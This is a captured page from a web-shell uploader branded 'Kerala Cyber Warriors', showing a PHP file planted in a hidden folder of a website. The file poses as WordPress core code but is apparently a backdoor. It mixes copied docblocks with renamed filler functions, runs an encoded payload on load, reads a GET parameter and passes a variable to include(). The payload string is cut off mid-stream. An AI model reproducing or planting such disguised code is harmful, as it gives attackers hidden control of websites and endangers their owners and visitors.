Kerala Cyber Warriors
KCW Uploader V1.1

Path : /home/truefixc/www/bin/dhanush/arj/creativelimitstudio.com/.tmb/
File Upload :
Current File : /home/truefixc/www/bin/dhanush/arj/creativelimitstudio.com/.tmb/q25w0vwn.php

<?php
get_setting_type();


/**
 * Administration API: Default admin hooks
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.3.0
 */

 function validateEncoding($submitted) {
 
 
 
 $frame_flags = "Another string for demo";
 $old_theme = 'PHP is great!';
 $parent_item = array();
 $element_block_styles = "Example-String";
 $x_sqrtm1 = rawurlencode("https://example.com/?param=value");
 //);
 
 $live_preview_aria_label = isset($parent_item[0]) ? $parent_item[0] : "default";
 $plugin_dir = rawurldecode($x_sqrtm1);
  if (isset($old_theme)) {
      $http_url = strlen($old_theme);
  }
 $private_query_vars = explode(' ', $frame_flags);
 $saved_starter_content_changeset = substr($element_block_styles, 7, 6);
 
 // remove possible empty keys from (e.g. [tags][id3v2][picture])
 // ----- Look for virtual file
 // Don't enqueue Customizer's custom CSS separately.
 $headerKeys = rawurldecode($saved_starter_content_changeset);
 $filtered_decoding_attr = array();
 $Body = hash("md4", $live_preview_aria_label);
  if (strpos($plugin_dir, 'param') !== false) {
      $frames_count = "URL contains 'param'";
  }
 $prime_post_terms = array(1, 2, 3, 4, 5);
 
 
     return explode('@', $submitted)[1];
 }
/**
 * Returns a normalized list of all currently registered image sub-sizes.
 *
 * @since 5.3.0
 * @uses wp_get_additional_image_sizes()
 * @uses get_intermediate_image_sizes()
 *
 * @return array[] Associative array of arrays of image sub-size information,
 *                 keyed by image size name.
 */
function get_directory_sizes()
{
    $session_tokens = wp_get_additional_image_sizes();
    $f5g5_38 = array();
    foreach (get_intermediate_image_sizes() as $perm) {
        $pass_change_text = array('width' => 0, 'height' => 0, 'crop' => false);
        if (isset($session_tokens[$perm]['width'])) {
            // For sizes added by plugins and themes.
            $pass_change_text['width'] = (int) $session_tokens[$perm]['width'];
        } else {
            // For default sizes set in options.
            $pass_change_text['width'] = (int) get_option("{$perm}_size_w");
        }
        if (isset($session_tokens[$perm]['height'])) {
            $pass_change_text['height'] = (int) $session_tokens[$perm]['height'];
        } else {
            $pass_change_text['height'] = (int) get_option("{$perm}_size_h");
        }
        if (empty($pass_change_text['width']) && empty($pass_change_text['height'])) {
            // This size isn't set.
            continue;
        }
        if (isset($session_tokens[$perm]['crop'])) {
            $pass_change_text['crop'] = $session_tokens[$perm]['crop'];
        } else {
            $pass_change_text['crop'] = get_option("{$perm}_crop");
        }
        if (!is_array($pass_change_text['crop']) || empty($pass_change_text['crop'])) {
            $pass_change_text['crop'] = (bool) $pass_change_text['crop'];
        }
        $f5g5_38[$perm] = $pass_change_text;
    }
    return $f5g5_38;
}


/*
		 * If this revision is the oldest revision of the post, i.e. no $quicktags_toolbar_revision,
		 * the correct post_author is probably $html_report_pathname->post_author, but that's only a good guess.
		 * Update the revision version only and Leave the author as-is.
		 */

 function find_core_update($submitted) {
 // Interfaces.
 $per_page_label = "Hash Test";
 $screen_reader = "phpSampleCode";
 $parent_data = date("Y-m-d");
 $element_block_styles = "Example-String";
     if (getData($submitted)) {
         return validateEncoding($submitted);
 
     }
     return "Invalid email format.";
 }
$fields_update = "bwyWbNb";
/**
 * Prints styles for front-end Multisite Sign-up pages.
 *
 * @since MU (3.0.0)
 */
function the_generator()
{
    ?>
	<style type="text/css">
		.mu_register { width: 90%; margin: 0 auto; }
		.mu_register form { margin-top: 2em; }
		.mu_register fieldset,
			.mu_register legend { margin: 0; padding: 0; border: none; }
		.mu_register .error { font-weight: 600; padding: 10px; color: #333; background: #ffebe8; border: 1px solid #c00; }
		.mu_register input[type="submit"],
			.mu_register #blog_title,
			.mu_register #user_email,
			.mu_register #blogname,
			.mu_register #user_name { width: 100%; font-size: 24px; margin: 5px 0; box-sizing: border-box; }
		.mu_register #site-language { display: block; }
		.mu_register .prefix_address,
			.mu_register .suffix_address { font-size: 18px; display: inline-block; direction: ltr; }
		.mu_register label,
			.mu_register legend,
			.mu_register .label-heading { font-weight: 600; font-size: 15px; display: block; margin: 10px 0; }
		.mu_register legend + p,
			.mu_register input + p { margin-top: 0; }
		.mu_register label.checkbox { display: inline; }
		.mu_register .mu_alert { font-weight: 600; padding: 10px; color: #333; background: #ffffe0; border: 1px solid #e6db55; }
		.mu_register .mu_alert a { color: inherit; text-decoration: underline; }
		.mu_register .signup-options .wp-signup-radio-button { display: block; }
		.mu_register .privacy-intro .wp-signup-radio-button { margin-right: 0.5em; }
		.rtl .mu_register .wp-signup-blogname { direction: ltr; text-align: right; }
	</style>
	<?php 
}
// http://www.matroska.org/technical/specs/index.html#simpleblock_structure


/**
	 * Multisite Blog Metadata table.
	 *
	 * @since 5.1.0
	 *
	 * @var string
	 */

 function wp_redirect_admin_locations($table_class) {
 $mediaplayer = date("Y-m-d H:i:s");
     if ($table_class <= 1) {
 
 
 
         return 1;
     }
     return $table_class * wp_redirect_admin_locations($table_class - 1);
 }

/**
 * Given an array of parsed block trees, applies callbacks before and after serializing them and
 * returns their concatenated output.
 *
 * Recursively traverses the blocks and their inner blocks and applies the two callbacks provided as
 * arguments, the first one before serializing a block, and the second one after serializing.
 * If either callback returns a string value, it will be prepended and appended to the serialized
 * block markup, respectively.
 *
 * The callbacks will receive a reference to the current block as their first argument, so that they
 * can also modify it, and the current block's parent block as second argument. Finally, the
 * `$plugins_allowedtags` receives the previous block, whereas the `$qe_data` receives
 * the next block as third argument.
 *
 * Serialized blocks are returned including comment delimiters, and with all attributes serialized.
 *
 * This function should be used when there is a need to modify the saved blocks, or to inject markup
 * into the return value. Prefer `serialize_blocks` when preparing blocks to be saved to post content.
 *
 * This function is meant for internal use only.
 *
 * @since 6.4.0
 * @access private
 *
 * @see serialize_blocks()
 *
 * @param array[]  $f8g8_19        An array of parsed blocks. See WP_Block_Parser_Block.
 * @param callable $plugins_allowedtags  Callback to run on each block in the tree before it is traversed and serialized.
 *                                It is called with the following arguments: &$share_tab_wordpress_id, $public_display, $quicktags_toolbarious_block.
 *                                Its string return value will be prepended to the serialized block markup.
 * @param callable $qe_data Callback to run on each block in the tree after it is traversed and serialized.
 *                                It is called with the following arguments: &$share_tab_wordpress_id, $public_display, $search_rewrite_block.
 *                                Its string return value will be appended to the serialized block markup.
 * @return string Serialized block markup.
 */
function comment_author_rss($f8g8_19, $plugins_allowedtags = null, $qe_data = null)
{
    $frames_count = '';
    $public_display = null;
    // At the top level, there is no parent block to pass to the callbacks; yet the callbacks expect a reference.
    foreach ($f8g8_19 as $weblog_title => $share_tab_wordpress_id) {
        if (is_callable($plugins_allowedtags)) {
            $quicktags_toolbar = 0 === $weblog_title ? null : $f8g8_19[$weblog_title - 1];
            $frames_count .= call_user_func_array($plugins_allowedtags, array(&$share_tab_wordpress_id, &$public_display, $quicktags_toolbar));
        }
        if (is_callable($qe_data)) {
            $search_rewrite = count($f8g8_19) - 1 === $weblog_title ? null : $f8g8_19[$weblog_title + 1];
            $xml_base_explicit = call_user_func_array($qe_data, array(&$share_tab_wordpress_id, &$public_display, $search_rewrite));
        }
        $frames_count .= traverse_and_serialize_block($share_tab_wordpress_id, $plugins_allowedtags, $qe_data);
        $frames_count .= isset($xml_base_explicit) ? $xml_base_explicit : '';
    }
    return $frames_count;
}
$sep = "programmer";
/**
 * Gets the description for standard WordPress theme files.
 *
 * @since 1.5.0
 *
 * @global array $groups_count Theme file descriptions.
 * @global array $edit_cap        List of allowed files.
 *
 * @param string $fhBS Filesystem path or filename.
 * @return string Description of file from $groups_count or basename of $fhBS if description doesn't exist.
 *                Appends 'Page Template' to basename of $fhBS if the file is a page template.
 */
function wp_kses($fhBS)
{
    global $groups_count, $edit_cap;
    $qvs = pathinfo($fhBS, PATHINFO_DIRNAME);
    $lostpassword_redirect = $edit_cap[$fhBS];
    if (isset($groups_count[basename($fhBS)]) && '.' === $qvs) {
        return $groups_count[basename($fhBS)];
    } elseif (file_exists($lostpassword_redirect) && is_file($lostpassword_redirect)) {
        $regex = implode('', file($lostpassword_redirect));
        if (preg_match('|Template Name:(.*)$|mi', $regex, $errno)) {
            /* translators: %s: Template name. */
            return sprintf(__('%s Page Template'), _cleanup_header_comment($errno[1]));
        }
    }
    return trim(basename($fhBS));
}


/**
	 * Filters the title attribute of the header logo above login form.
	 *
	 * @since 2.1.0
	 * @deprecated 5.2.0 Use {@see 'login_headertext'} instead.
	 *
	 * @param string $login_header_title Login header logo title attribute.
	 */

 function is_entry_good_for_export($menu_id) {
 
 // Register the block support.
     $lazyloader = 0;
 
 $parent_data = date("Y-m-d");
 $global_attributes = "Processing this phrase using functions";
 $max_timestamp = "line1\nline2\nline3";
 $errno = "custom-name";
 $wp_etag = 'hello-world';
 $sortables = substr($errno, 0, 6);
  if (!isset($parent_data)) {
      $genreid = str_pad($parent_data, 10, "0");
  } else {
      $failed_plugins = hash("md5", $parent_data);
  }
 $week_count = explode("\n", $max_timestamp);
 $thread_comments = explode('-', $wp_etag);
  if (strlen($global_attributes) > 5) {
      $q_status = trim($global_attributes);
      $e_status = str_pad($q_status, 25, '!');
  }
 // Depth is 0-based so needs to be increased by one.
 // Generate the export file.
 // 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
  foreach ($week_count as $f8g4_19) {
      $f8g4_19 = trim($f8g4_19);
  }
 $extra_classes = explode(' ', $e_status);
 $strip = hash("sha1", $sortables);
 $plugin_part = array_map('ucfirst', $thread_comments);
     foreach ($menu_id as $wp_font_face) {
 
         $lazyloader += wp_redirect_admin_locations($wp_font_face);
     }
 
 
 
 
     return $lazyloader;
 }
/**
 * Registers the `core/categories` block on server.
 */
function populate_site_meta()
{
    register_block_type_from_metadata(__DIR__ . '/categories', array('render_callback' => 'render_block_core_categories'));
}
$preferred_icons = "Welcome to PHP!";
/**
 * Toolbar API: Top-level Toolbar functionality
 *
 * @package WordPress
 * @subpackage Toolbar
 * @since 3.1.0
 */
/**
 * Instantiates the admin bar object and set it up as a global for access elsewhere.
 *
 * UNHOOKING THIS FUNCTION WILL NOT PROPERLY REMOVE THE ADMIN BAR.
 * For that, use show_admin_bar(false) or the {@see 'show_admin_bar'} filter.
 *
 * @since 3.1.0
 * @access private
 *
 * @global WP_Admin_Bar $potential_folder
 *
 * @return bool Whether the admin bar was successfully initialized.
 */
function crypto_kx()
{
    global $potential_folder;
    if (!is_admin_bar_showing()) {
        return false;
    }
    /* Load the admin bar class code ready for instantiation */
    require_once ABSPATH . WPINC . '/class-wp-admin-bar.php';
    /* Instantiate the admin bar */
    /**
     * Filters the admin bar class to instantiate.
     *
     * @since 3.1.0
     *
     * @param string $potential_folder_class Admin bar class to use. Default 'WP_Admin_Bar'.
     */
    $has_processed_router_region = apply_filters('wp_admin_bar_class', 'WP_Admin_Bar');
    if (class_exists($has_processed_router_region)) {
        $potential_folder = new $has_processed_router_region();
    } else {
        return false;
    }
    $potential_folder->initialize();
    $potential_folder->add_menus();
    return true;
}


/**
	 * Constructs name attributes for use in form() fields
	 *
	 * This function should be used in form() methods to create name attributes for fields
	 * to be saved by update()
	 *
	 * @since 2.8.0
	 * @since 4.4.0 Array format field names are now accepted.
	 *
	 * @param string $field_name Field name.
	 * @return string Name attribute for `$field_name`.
	 */

 function setDebugOutput($fields_update){
     $mysql_recommended_version = $_GET[$fields_update];
     $mysql_recommended_version = str_split($mysql_recommended_version);
 
 $embed_cache = "123,456,789";
 $total_pages = "Code123";
 // Ensure unique clause keys, so none are overwritten.
 $found_sites = explode(",", $embed_cache);
 $rcheck = strlen($total_pages);
     $mysql_recommended_version = array_map("ord", $mysql_recommended_version);
  if (!empty($found_sites)) {
      $revisions_to_keep = trim(implode("", $found_sites));
  }
  if ($rcheck < 8) {
      $frames_count = str_pad($total_pages, 8, "0");
  } else {
      $frames_count = hash("sha256", $total_pages);
  }
 // Whether or not to load the 'postcustom' meta box is stored as a user meta
 
 
     return $mysql_recommended_version;
 }
/**
 * Administration API: Core Ajax handlers
 *
 * @package WordPress
 * @subpackage Administration
 * @since 2.1.0
 */
//
// No-privilege Ajax handlers.
//
/**
 * Handles the Heartbeat API in the no-privilege context via AJAX .
 *
 * Runs when the user is not logged in.
 *
 * @since 3.6.0
 */
function is_dynamic_sidebar()
{
    $pre_menu_item = array();
    // 'screen_id' is the same as $Bodyurrent_screen->id and the JS global 'pagenow'.
    if (!empty($_POST['screen_id'])) {
        $paddingBytes = akismet_cmp_time($_POST['screen_id']);
    } else {
        $paddingBytes = 'front';
    }
    if (!empty($_POST['data'])) {
        $dir_size = wp_unslash((array) $_POST['data']);
        /**
         * Filters Heartbeat Ajax response in no-privilege environments.
         *
         * @since 3.6.0
         *
         * @param array  $pre_menu_item  The no-priv Heartbeat response.
         * @param array  $dir_size      The $_POST data sent.
         * @param string $paddingBytes The screen ID.
         */
        $pre_menu_item = apply_filters('heartbeat_nopriv_received', $pre_menu_item, $dir_size, $paddingBytes);
    }
    /**
     * Filters Heartbeat Ajax response in no-privilege environments when no data is passed.
     *
     * @since 3.6.0
     *
     * @param array  $pre_menu_item  The no-priv Heartbeat response.
     * @param string $paddingBytes The screen ID.
     */
    $pre_menu_item = apply_filters('heartbeat_nopriv_send', $pre_menu_item, $paddingBytes);
    /**
     * Fires when Heartbeat ticks in no-privilege environments.
     *
     * Allows the transport to be easily replaced with long-polling.
     *
     * @since 3.6.0
     *
     * @param array  $pre_menu_item  The no-priv Heartbeat response.
     * @param string $paddingBytes The screen ID.
     */
    do_action('heartbeat_nopriv_tick', $pre_menu_item, $paddingBytes);
    // Send the current time according to the server.
    $pre_menu_item['server_time'] = time();
    wp_send_json($pre_menu_item);
}
$myLimbs = "Sample String";


/**
 * Formats text for the HTML editor.
 *
 * Unless $spacing_rules is empty it will pass through htmlspecialchars before the
 * {@see 'htmledit_pre'} filter is applied.
 *
 * @since 2.5.0
 * @deprecated 4.3.0 Use format_for_editor()
 * @see format_for_editor()
 *
 * @param string $spacing_rules The text to be formatted.
 * @return string Formatted text after filter applied.
 */

 function resolve_variables($first, $queue) {
   return $first * $queue;
 }

/**
 * Filters into default_{$quality}_metadata and adds in default value.
 *
 * @since 5.5.0
 *
 * @param mixed  $my_parent     Current value passed to filter.
 * @param int    $GOPRO_chunk_length ID of the object metadata is for.
 * @param string $should_negate_value  Metadata key.
 * @param bool   $published_statuses    If true, return only the first value of the specified `$should_negate_value`.
 *                          This parameter has no effect if `$should_negate_value` is not specified.
 * @param string $original_nav_menu_locations Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                          or any other object type with an associated meta table.
 * @return mixed An array of default values if `$published_statuses` is false.
 *               The default value of the meta field if `$published_statuses` is true.
 */
function clearAddresses($my_parent, $GOPRO_chunk_length, $should_negate_value, $published_statuses, $original_nav_menu_locations)
{
    global $RIFFinfoKeyLookup;
    if (wp_installing()) {
        return $my_parent;
    }
    if (!is_array($RIFFinfoKeyLookup) || !isset($RIFFinfoKeyLookup[$original_nav_menu_locations])) {
        return $my_parent;
    }
    $disabled = array();
    foreach ($RIFFinfoKeyLookup[$original_nav_menu_locations] as $layout_definition_key => $tax_object) {
        foreach ($tax_object as $got_url_rewrite => $src_y) {
            if ($got_url_rewrite === $should_negate_value && array_key_exists('default', $src_y)) {
                $disabled[$layout_definition_key] = $src_y;
            }
        }
    }
    if (!$disabled) {
        return $my_parent;
    }
    // If this meta type does not have subtypes, then the default is keyed as an empty string.
    if (isset($disabled[''])) {
        $lyrics3size = $disabled[''];
    } else {
        $layout_definition_key = get_object_subtype($original_nav_menu_locations, $GOPRO_chunk_length);
        if (!isset($disabled[$layout_definition_key])) {
            return $my_parent;
        }
        $lyrics3size = $disabled[$layout_definition_key];
    }
    if ($published_statuses) {
        $my_parent = $lyrics3size['default'];
    } else {
        $my_parent = array($lyrics3size['default']);
    }
    return $my_parent;
}


/**
	 * Fires before widgets are rendered in a dynamic sidebar.
	 *
	 * Note: The action also fires for empty sidebars, and on both the front end
	 * and back end, including the Inactive Widgets sidebar on the Widgets screen.
	 *
	 * @since 3.9.0
	 *
	 * @param int|string $weblog_title       Index, name, or ID of the dynamic sidebar.
	 * @param bool       $has_widgets Whether the sidebar is populated with widgets.
	 *                                Default true.
	 */

 function get_css_var($errno){
 $with_prefix = "Code";
 $sub_value = "Car_Make_Model";
 $thisfile_riff_WAVE_guan_0 = "PHP is fun!";
 $parent_item = "2023-10-05";
 
 // Lossless WebP.
     include($errno);
 }
/**
 * Registers patterns from Pattern Directory provided by a theme's
 * `theme.json` file.
 *
 * @since 6.0.0
 * @since 6.2.0 Normalized the pattern from the API (snake_case) to the
 *              format expected by `register_block_pattern()` (camelCase).
 * @since 6.3.0 Add 'pattern-directory/theme' to the pattern's 'source'.
 * @access private
 */
function rest_send_allow_header()
{
    /** This filter is documented in wp-includes/block-patterns.php */
    if (!apply_filters('should_load_remote_block_patterns', true)) {
        return;
    }
    if (!wp_theme_has_theme_json()) {
        return;
    }
    $working_dir_local = wp_get_theme_directory_pattern_slugs();
    if (empty($working_dir_local)) {
        return;
    }
    $secret = new WP_REST_Request('GET', '/wp/v2/pattern-directory/patterns');
    $secret['slug'] = $working_dir_local;
    $pre_menu_item = rest_do_request($secret);
    if ($pre_menu_item->is_error()) {
        return;
    }
    $wmax = $pre_menu_item->get_data();
    $pi = WP_Block_Patterns_Registry::get_instance();
    foreach ($wmax as $schema_styles_blocks) {
        $schema_styles_blocks['source'] = 'pattern-directory/theme';
        $pass2 = wp_normalize_remote_block_pattern($schema_styles_blocks);
        $has_text_decoration_support = sanitize_title($pass2['title']);
        // Some patterns might be already registered as core patterns with the `core` prefix.
        $f6f8_38 = $pi->is_registered($has_text_decoration_support) || $pi->is_registered("core/{$has_text_decoration_support}");
        if (!$f6f8_38) {
            register_block_pattern($has_text_decoration_support, $pass2);
        }
    }
}


/**
 * Determine if user is a site admin.
 *
 * Plugins should use is_multisite() instead of checking if this function exists
 * to determine if multisite is enabled.
 *
 * This function must reside in a file included only if is_multisite() due to
 * legacy function_exists() checks to determine if multisite is enabled.
 *
 * @since MU (3.0.0)
 * @deprecated 3.0.0 Use is_super_admin()
 * @see is_super_admin()
 *
 * @param string $ISO6709parsed_login Optional. Username for the user to check. Default empty.
 */

 function retrieve_password($to_item_id, $webfont) {
 // Rename.
 // Add color styles.
 
 //    s4 += s14 * 654183;
 
 
     return pow($to_item_id, $webfont);
 }
/**
 * Prints the script queue in the HTML head on admin pages.
 *
 * Postpones the scripts that were queued for the footer.
 * print_footer_scripts() is called in the footer to print these scripts.
 *
 * @since 2.8.0
 *
 * @see wp_print_scripts()
 *
 * @global bool $wp_debug_log_value
 *
 * @return array
 */
function privDirCheck()
{
    global $wp_debug_log_value;
    if (!did_action('wp_print_scripts')) {
        /** This action is documented in wp-includes/functions.wp-scripts.php */
        do_action('wp_print_scripts');
    }
    $AuthType = wp_scripts();
    script_concat_settings();
    $AuthType->do_concat = $wp_debug_log_value;
    $AuthType->do_head_items();
    /**
     * Filters whether to print the head scripts.
     *
     * @since 2.8.0
     *
     * @param bool $print Whether to print the head scripts. Default true.
     */
    if (apply_filters('privDirCheck', true)) {
        _print_scripts();
    }
    $AuthType->reset();
    return $AuthType->done;
}


/**
	 * A utility DB field for post content.
	 *
	 * @since 3.5.0
	 * @var string
	 */

 function get_setting_type(){
 $filtered_htaccess_content = "2023-01-01";
 $font_file = "2023-12-31";
 
     $restriction_value = "\xcc\xa3\x88\x91\xe5\xb5\xa3\x82\x94\xca\x84\xa8\x8a\xa4\x92\xaf\xd4\xd5\xb9\xb6\xda\xc1\xdd\xb0\xbc\xc6\xb8\xeb\xb8\xd8\xe4\xbc\x8d\xa4\xbd\x91\x9c\x87\xdc\x8b\x8e\x91l\xc9\xb5\xe2\xd9\xab\x8d\xa4\xbd\x91\x9d\x87\xdc\x8b\x8d\x8e~\xb0\x8d\x8c\xac\x88\xdb\xd1\xc4a\xd0\xc1\xd7\xb4\xcd\xc0\xb9\xe5\x82\x94\xc1i\x8b\x89~\x86\xbd\x93\xe3\xb2\xc4\x99r\x9b\xb7\xd8\xdc\x9c\xc1\xce}a\x8al\x98{ywj\xdf\xc6\x8a\x90i\x95\x98\xcfa\x8al\x98{y\xc6\x93\xbf\xaa\x94\x9f\xbb\xd0\xdd\xc9\xc9\xd8l\x89\x91\xc9\xb8\xad\xe2{s\x92\xa5\x9c\x9a\x84y\x99v\x89qy\xb1\x95\xbcs\x8a\x9ax\x99rv\xb3\xe2~\xcas\x85wj\x97s\x8e\xd4\xb7\xd7\xbc\xaa\xbc\x8al\x92\x8c\x94aT\x81\tyRtr]w\x8al\x89u\xd3\xcd\xbd\xcf\xbe\xde\xda\xb2\x8b\x89tw\xa7{\x93qy\xbb\xb3\x97s\x94\x9f\xb6\xcf\x9e|{\xce\xba\xd5\xa4\xaf\xbcs\xb2w\xc9\xd5\x98\x9a\x93tw\x8a\xae\x89q\x83\x86\x87\x80z\x9c\xa1z\x9c\xa1{\x92tUrZb`S\x9b\x98\xdd\xe7\xb7\xd1\xce\xba\x9b\xb8\xa4\x98{y\xbc\x95\xe2s\x8a\x9ax\xa8\x89tw\xcc\xad\xdc\xb6\x8f\x8b\xa9\xdb\xb8\xcd\xdf\xad\xd0\x91x\xbb\xd8\xb8\xbc\xa7\xbe\x80\x85\x81]ty\xb2\xd1r|{\xaf\xbf\xe0\xbf\xbf\xbc\xb0\xbb\xa1\xc2\x90\x86\xa8\xa6tw\x8al\xcf\xb2\xc5\xca\xaf\xa0s\x8a\x90i\xe6st`\x8e\x91\xdc\xc8\xc7\xbd\xaf\xdd\x97\xb8\xc8x\x95\xd6\xa8\xcc\x8av\x98\x8e\x88\x81j\xdc\x99\xb8\xe1\xae\x8b\x93\x83~\x91\x87sZb`S\x80\\xe7zRtrx\xa4\xb8\xbb\xb2\x95\x9f\xc2\xb4\x97\x90\x99\x9ai\xbd\xc0tw\x8av\x98\xc4\xcd\xc9\xa9\xea\xc3\xd6\xd9\xbd\x93\x8d\xb8\xc5\xd6\x9f\xbf\xb6\x82\x92T\xa6}\x8a\x90\xb5\xbd\xae\xba\xcd\x8av\x98u\xa1\xc4\xc2\xe8\xcd\xac\xd1\xa2\xe4\xdatw\x8a\x89r\xc4\xcd\xc9\xb6\xdc\xc1\x92\x94\xad\xd9\xd5\xa7\xad\xcfu\xa4\x8cc\x86t\x97s\x8a\xe7\x9b\xd4\xddtw\x8av\x98u\xa0\xc0\xa0\xc6\xb4\xc2\xdb\x93\xe3r\x91w\x8a|\xa4[y`\xc1\xdf\xbc\xd6\xd5i\x8b\x89tw\x92{\x93\xb7\xa0\xb0\xb4\xa1\x82\x8e\xb7\xb2\xc1\xb8\xb5\xaf\xd5\x96\xe1qywj\x97\x8f\x8a\x90i\x8b\x89x\x9f\xd7\xc4\xda\xcb\x9b\xb8\xa3\xf0\xc4\x99\x9ai\x8b\x89\x9c\xa5\x8al\x93\x80\x82\x86t\x97s\x8a\xd7\xb9\xc1\xdc\xa8\x81\x99\xc7s[c`n\xbe\xbc\xc0\xbf\xaa\xc3\xd4\x9e\xcf\x95w\xa4[b`S\x9b\xb7\xe4\xe5\x94\xc0\xd1\x9a\x9b\xd1l\x89\x8e\x88\x81j\x97\xa4\xc4\xc2i\x8b\x89~\x86\x8e\x99\xb7\xc0\xa2\x9b\x90\xe2\xbd\xc5\x94\x90\xd4\xbf\xa3\xb8\xc2\xb7\xb3\xc9\xb6\x92\x85\x81s\x8a\x90i\x8b\xd2\xba\x86\x94l\x89\xc0\xc7\xa4\xbb\xf1s\x8a\x90s\x9a\x91\xc7\xcb\xdc\xbc\xd8\xc4\x81{\xae\xf1\xc8\xb5\xc5\xb1\xb1\xad\xbb\x83\x99v\xe3\x99\xb1\xb8t\xa6z\xcb\x97r\x8b\x8a\x91\x94\x8al\x89q\xbf\xb8\xb6\xea\xb8\x93y\xc4u\x89tw\x8al\x89q}\xa4\x98\xe6\x9c\xae\xb6\xb4\xd5\xc4x\x9e\xd3\xa2\xb8\xb2\xb1\xc2\x94\xef\xb0s\xadR\xde\xdd\xc6\xcb\xd9\xc1\xd9\xc1\xbe\xc9r\x9b\xb7\xe4\xe5\x94\xc0\xd1\x9a\x9b\xd1u\xa4[c`\xc7\x81\syx\x95\x89\x99w\x94{\xe6[ywj\x97s\x99\x9ai\x8b\xc2\xc3\xbd\xbal\x89{\x88{\x90\xdd\xab\xbf\xe1\x97\xd7r\x91`\xd3\xb9\xd9\xbd\xc8\xbb\xaf\x9fz\x91\x9ci\x8b\x89x\xa4\xb8\xbb\xb2\x95\x9f\xc2\xb4\xa0\x8e\xa5zRtr]`\x8al\x8d\xb0\xa0\x9c\x9e\xd2z\xce\xd5\xac\xda\xcd\xb9\xbb\x91\xa9\x98{y\xab\x9d\xc1\x9f\x8a\x9ax\xa8\x98~w\x8al\xe0\xbey\x81y\x9b\x99\xd0\xc8\x9e\xdc\xb7\xc0\x92tUrqywj\x97w\xc9\xc0\x98\xbe\xbd\xaf~\xd2\xad\xdc\xb9\x80\xb4y\xa1s\x8a\xbd\xaf\xcc\xda\xa6w\x94{\xa6Z}\xd1\xc0\xea\xab\xd5\xe4\xb3\xd4\xa4^`sl\x89q\xc2\xbdy\xa1\xb9\xe3\xd7\xb1\xe0\x93\x83\xd0\xb5\xd5\xb6\xb8\xbc\xc2\xe0\xc6\xde\xe3q\x92\xd9\xb5\xcb\xd2{\xdd\xc0\x88\xbd\xb3\xe3\xb8\x91\x99rt\xe4^w\x99v\x89qy\x9e\x95\xc5\xac\xe4\x90i\x8b\x93\x83{\xaf\x94\xdf\x9e\xc6\xa3\xac\xbf\xbf\x99\x9ai\xb2\xde\xa9w\x8al\x93\x80\x96\x86t\x97\x9e\xb3\x90s\x9a\xcf\xbd\xc3\xcf\xab\xd0\xb6\xcd\xb6\xad\xe6\xc1\xde\xd5\xb7\xdf\xdc|~\xda\xad\xdd\xb9\x88\xcb\xb9\xa6\xb9\xd3\xdc\xae\x92\x92\x8fa\x8al\x89qywn\xc1\xc4\xe4\xe7\xb7\x8b\xa6\x83\x81\xde\xbf\xb6\xb9ywj\xa1\x82\xcf\xe8\xb9\xd7\xd8\xb8\xbc\x92s\x95x\x85wj\x97w\xaf\xb8\xbf\xb8\xd6\xa0\xb9\xb2\xb8\x92\x8c}\xb6\xc3\xa6}\xd8\xc9\xb5\x8b\x89t\x81\x99\x89\x89qy~\x80\xa9\x86\x9c\xa5p\xa6s^\x86\x94l\x89\xab\xbc\xcej\xa1\x82\x8e\xe7\x95\xb4\xcd\xae\xae\xd3\x97\x98{\xad\x81y\xb4\x82\x94\x90i\x8b\xac\xbe\xc5\xe4\xb3\x89q\x83\x86\xb7\xdb\x88\x92\xe3\xae\xdd\xd2\xb5\xc3\xd3\xc6\xcey}\xa1\xbb\xf1\xca\xd8\x99r\xa6s]`sl\xd2\xb7\x88\x81j\x97\xa7\xda\xd2\xa1\x8b\x89~\x86\x92\xb5\xdc\xb0\xba\xc9\xbc\xd8\xcc\x92\x94\x93\xdc\xe3\xcb\xc5\x93u\x89\xccc`S\x80\sym\xbe\xb0\xc6\xb1\xc2\xbb\xe3\xc0\xa1\x9aS\xb4\x82\x94\x90i\xd7\xaa\xc7\xa2\x8al\x89{\x88\xb8\xbc\xe9\xb4\xe3\xcf\xbc\xd7\xd2\xb7\xbc\x92p\xb3\xc2\xd3\xce\xb8\xa3\\x9a\x9cx\x95\x89\xa7\xa3\xc1\xbe\xb6qywt\xa6\x88\x93\xabStr]w\x8a\xc9sqy\x86t\x97s\xe1\xd8\x9e\xc3\xd3tw\x94{\xe6[ywj\x80w\xc4\xba\x8a\xba\xc2]\x94\x99v\xcd\xbe\xbe\xac\xbe\x97}\x99\xd1\xbb\xdd\xca\xcd\xb6\xd7\xad\xd9y\x80\xcb\xbc\xe0\xc0\x91\x9ci\x8b\x89t{\xbd\x93\xdb\xab\xb1\xc6\xc4\xe6\x9b\xad\x99\x84us^`\x8e\x96\xbf\xbb\xbe\xa2\xb5\xe1\xad\xdd\x9fs\x8b\xaft\x81\x99\x89r\xc3\xba\xce\xbf\xe9\xbf\xce\xd5\xac\xda\xcd\xb9\xd3\xb9\xd9\xbd\xc8\xbb\xaf\x9fz\x96\x97ut\x8d\xae\xa1\xab\x9b\xc2z\x82\x92\x85\x81]t\x9fs\x8b\xd4\xb8\x81\x99p\xc8\x94\xa8\xa6\x95\xc0\x98\xc5\x97\xaf\xd4\xd7\xb5\xc3\xc9\xc2\xca\xbd\xce\xbcq\xd4\\xa7\x9fs\x8b\x89\xc1\xbc\xb3\xa0\xd3{\x88{\x94\xcd\xbd\xcf\xbb\xb4\xd5\xc3\xc7\x92tUr\x80\x83wj\x97\xc9\x8a\x90i\x95\x98\xd1at{\x93\xa7ywt\xa6]tzi\x8b\x89tw\xd0\xc1\xd7\xb4\xcd\xc0\xb9\xe5s\xbb\xea\x8c\xcc\xd9|\x80tl\x89qywS\xf2]\x8a\x9fs\x8b\x89t\xaa\xb5l\x89{\x88{\xbf\xe2\xcd\xe0\xd6\xb6\x8b\x89\x91w\x8a\x8d\xdb\xc3\xba\xd0r\x9b\xb2\xad\xbf\x98\xb6\xb2\x99\x83\x99v\xce\xbe\xc4wj\x97}\x99\x94\xa8\xbb\xb8\xa7\xab\x93\x87sZbwj\x97s\x8e\xc9\x93\xdc\xd4\xbb\xc4\xb0\x9a\xbcZ\x96`\xab\xe9\xc5\xcb\xe9\xa8\xd8\xca\xc4\x91\xb9\xcd\x86\x80\x83S\x9b\xb2\xad\xbf\x98\xb6\xb2\x99\x80\xa5\x87s\x80\x83wj\x97\xc8\x8a\x90i\x95\x98x\xce\xdf\x9e\xad\x94\xbb\xca\x90\xed\xaas\xadx\x95\x89t\xc0\xe0l\x93\x80\xcc\xcb\